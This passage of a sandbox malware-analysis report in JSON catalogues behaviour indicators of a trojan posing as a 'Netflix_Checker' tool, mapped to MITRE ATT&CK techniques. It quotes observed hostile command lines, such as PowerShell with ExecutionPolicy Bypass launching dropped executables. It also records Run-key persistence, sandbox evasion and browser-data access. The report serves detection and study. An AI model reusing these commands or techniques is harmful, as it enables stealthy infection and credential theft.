\"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found string \"passwordStrengthRegularExpression=\"\" />\" (Indicator: \"password\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")","id":"string-475","level":"informative","mitre_attack_id":"T1555","name":"Contains string like password/secret","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Observed system executable string:\"%WINDIR%\\System32\\schtasks.exe\" [Source: 00000000-00005968-00000BC0-941562681]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp62BF.tmp.bat\"\"\" [Source: cmd.exe]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp686C.tmp.bat\"\"\" [Source: cmd.exe]","id":"string-170","level":"informative","name":"Possibly uses system binaries (Windows LOLbins)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\tmp62BF.tmp.bat\"\"\" (UID: 00000000-00007832)\n Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\tmp686C.tmp.bat\"\"\" (UID: 00000000-00004184)\n Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"/c start /b powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\gbztuy.exe\"' & exit\" (UID: 00000000-00009192)\n Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"/c start /b powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\cgyskb.exe\"' & exit\" (UID: 00000000-00007116)","id":"target-423","level":"suspicious","mitre_attack_id":"T1074.001","name":"Tries to access/write temporary files","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"\\Mozilla\\Firefox\\Profiles\\\" (Indicator: \"mozilla\\firefox\\\") in Source: ee5db. Trojan.exe","id":"string-93","level":"suspicious","mitre_attack_id":"T1005","name":"Found browser information locations related strings","origin":"File/Memory","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp62BF.tmp.bat\"\"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp62BF.tmp.bat\"\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp686C.tmp.bat\"\"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp686C.tmp.bat\"\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","id":"string-174","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to executes commands or batch file","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Able to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$34","id":"string-64","level":"informative","mitre_attack_id":"T1106","name":"Input file contains API references not part of its Import Address Table (IAT)","origin":"File/Memory","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$35","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"QuerySystemInformation\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"ee5db. Trojan.exe\")","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Environment Awareness","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: svcwhost.exe]","id":"static-189","level":"informative","mitre_attack_id":"T1057","name":"Calls an API used to retrieve process information","origin":"Static Parser","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"TerminateProcess@KERNEL32.DLL at 00000000-00005736-49315-49-00945565\n TerminateProcess@KERNEL32.DLL at 00000000-00005736-49315-76-0094C521\n TerminateProcess@KERNEL32.DLL at 00000000-00005736-49315-108-00949827","id":"stream-88","level":"suspicious","mitre_attack_id":"T1489","name":"Contains ability to terminate a process","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET INFO EXE CheckRemoteDebuggerPresent (Used in Malware Anti-Debugging)\" (SID: 2015745, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO EXE - Served Inline HTTP\" (SID: 2014519, Rev: 10, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 5, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)\" (SID: 2015744, Rev: 6, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Suspicious Windows Executable WriteProcessMemory\" (SID: 2015588, Rev: 6, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Telegram API Domain in DNS Lookup\" (SID: 2033966, Rev: 2, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)\" (SID: 2033967, Rev: 2, Severity: 3) categorized as \"Misc activity\"","id":"suricata-0","level":"informative","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Tries to identify its external IP address","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006396.00000000.123897.04820000.00000004.mdmp\")","id":"string-108","level":"informative","mitre_attack_id":"T1486","name":"Contains ability to perform encryption (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"Netflix_Checker.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f02300000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00006396)","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"$36","id":"string-60","level":"suspicious","mitre_attack_id":"T1112","name":"Has the capability to lower Firefox security settings","origin":"File/Memory","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Process \"powershell.exe\" with commandline \"powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\gbztuy.exe\"'\" (UID: 00000000-00000860)\n Process \"powershell.exe\" with commandline \"powershell \\u2013ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\\\cgyskb.exe\"'\" (UID: 00000000-00008680)","id":"target-249","level":"suspicious","mitre_attack_id":"T1543","name":"Uses powershell to execute new process","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Making HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; File: \"ee5db. Trojan.exe\")","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query system locale (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"General","description":"$37","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"sample.bin\"), Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"sample.bin\")","id":"string-901","level":"informative","mitre_attack_id":"T1124","name":"Able to retrieve date formats supported by the local system (API string)","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"svcwhost.exe\" queries volume information of \"C:\\\" at 00000000-00005968-00000C15-941522770","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information of an entire harddrive","origin":"API Call","relevance":8,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ee5db. Trojan.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"ee5db. Trojan.exe\")","id":"string-661","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment by using user activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"ee5db.Trojan.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004344)\n \"svcwhost.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005968)\n \"Netflix_Checker.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006396)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"NtCreateThreadEx\" (Indicator: \"CreateThread\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"Wow64SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"Wow64GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ee5db. Trojan.exe\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")","id":"string-439","level":"informative","mitre_attack_id":"T1055.003","name":"Able to modify process memory (API string)","origin":"File/Memory","sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Environment Awareness","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006016-00000C2C-294624340\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006016-00000C2C-294625069\")","id":"string-908","level":"informative","mitre_attack_id":"T1033","name":"Able to query security token membership for user discovery (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Observed user discovery api used in \"advapi32.dll\" [Source: svcwhost.exe]","id":"static-212","level":"suspicious","mitre_attack_id":"T1033","name":"Contains ability to discover system user information","origin":"Static Parser","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"$38","id":"network-72","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a webserver (HTTPS)","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"svcwhost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SERVICES\"; Value: \"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe\")","id":"registry-0","level":"suspicious","mitre_attack_id":"T1547.001","name":"Modifies auto-execute functionality by setting/creating a value in the registry","origin":"Registry Access","relevance":8,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed Namespace \"Microsoft.VisualBasic.Devices::Computer\" and MemberReference \"get_Keyboard\" in \"Netflix_Checker.exe\"","id":"static-164","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen information (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$39","id":"static-96","level":"informative","name":"PE file entrypoint instructions","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"wdagutilityaccount\" (File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found string \"WDAGUtilityAccount\" (File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")","id":"string-9009","level":"informative","mitre_attack_id":"T1497.001","name":"Able to detect sandbox environment via user account","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005736)\n \"Netflix_Checker.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006016)","id":"api-297","level":"informative","mitre_attack_id":"T1003","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","origin":"API Call","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006396.00000000.123897.00092000.00000002.mdmp\")","id":"string-423","level":"informative","mitre_attack_id":"T1074.001","name":"Contains ability to create directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\tmp62BF.tmp.bat\"\"\" (UID: 00000000-00007832)\n Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\tmp686C.tmp.bat\"\"\" (UID: 00000000-00004184)","id":"target-220","level":"informative","mitre_attack_id":"T1059","name":"Executes batch file","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"svcwhost.exe\" called \"GetUserNameW\" (UID: 00000000-00005968)","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateFile2\" (Indicator: \"CreateFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"ee5db. Trojan.exe\")","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$3a","id":"binary-92","level":"informative","mitre_attack_id":"T1027.005","name":"XOR operations in executable file detected","origin":"Binary File","sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Process \"findstr.exe\" with commandline \"findstr All\" (UID: 00000000-00002724)","id":"target-244","level":"informative","mitre_attack_id":"T1083","name":"Searches for patterns in files","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"ee5db. Trojan.exe\")","id":"string-247","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Environment Awareness","description":"\"Netflix_Checker.exe\" called \"IsWow64Process\" with parameter \"6396\" - (UID: 00000000-00006396)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"\"api.mylnikov.org\"\n \"icanhazip.com\"","id":"network-24","level":"malicious","mitre_attack_id":"T1016","name":"Tries to identify its external IP address","origin":"Network Traffic","relevance":6,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"Netflix_Checker.exe\"","id":"static-107","level":"informative","mitre_attack_id":"T1140","name":"Able to load content into memory (.NET)","origin":"Static Parser","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$3b","id":"api-43","level":"suspicious","mitre_attack_id":"T1105","name":"Writes a PE file header to disc","origin":"API Call","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006396.00000000.123897.026A0000.00000004.mdmp\")","id":"string-320","level":"informative","mitre_attack_id":"T1564.003","name":"Contains ability to pass information to a window procedure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: fc54e0d16d9764783542f0146a98b300\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","id":"network-55","level":"informative","name":"JA3 SSL client fingerprint","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"ee5db.Trojan.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"ee5db.Trojan.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"svcwhost.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"svcwhost.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"GetModuleFileNameW\n UnhandledExceptionFilter\n GetCommandLineW\n LoadLibraryExW\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n GetFileSizeEx\n FindNextFileW\n WriteFile\n FindFirstFileExW\n GetModuleHandleW\n TerminateProcess\n GetModuleHandleExW\n CreateFileW\n CreateProcessW\n IsDebuggerPresent\n Sleep\n RegCloseKey\n OpenProcessToken\n GetUserNameW\n RegOpenKeyExW\n RegOpenKeyExA\n GetThreadContext\n GetTempPathW\n OutputDebugStringW\n CopyFileW\n WriteProcessMemory\n CopyFileA\n GetModuleFileNameA\n CreateThread\n GetSystemDirectoryW\n CreateToolhelp32Snapshot\n Process32First\n LoadLibraryW\n LoadLibraryA\n Process32Next\n CreateRemoteThread\n GetFileSize\n OpenProcess\n CreateDirectoryA\n DeleteFileW\n VirtualProtectEx\n GetTempFileNameW\n CreateFileMappingA\n FindFirstFileW\n VirtualAllocEx\n Process32NextW\n Process32FirstW\n GetTickCount64\n MapViewOfFile\n GetModuleHandleA\n VirtualAlloc\n InternetReadFile\n InternetOpenW\n InternetCloseHandle\n InternetOpenUrlW\n HttpQueryInfoA","id":"static-1","level":"suspicious","mitre_attack_id":"T1106","name":"Imports suspicious APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"\n Found system information discovery API: \"GetUserObjectInformationW\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"\n Found system information discovery API: \"NtQuerySystemInformation\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00005736.00000000.82398.0095B000.00000002.mdmp\"","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"General","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; 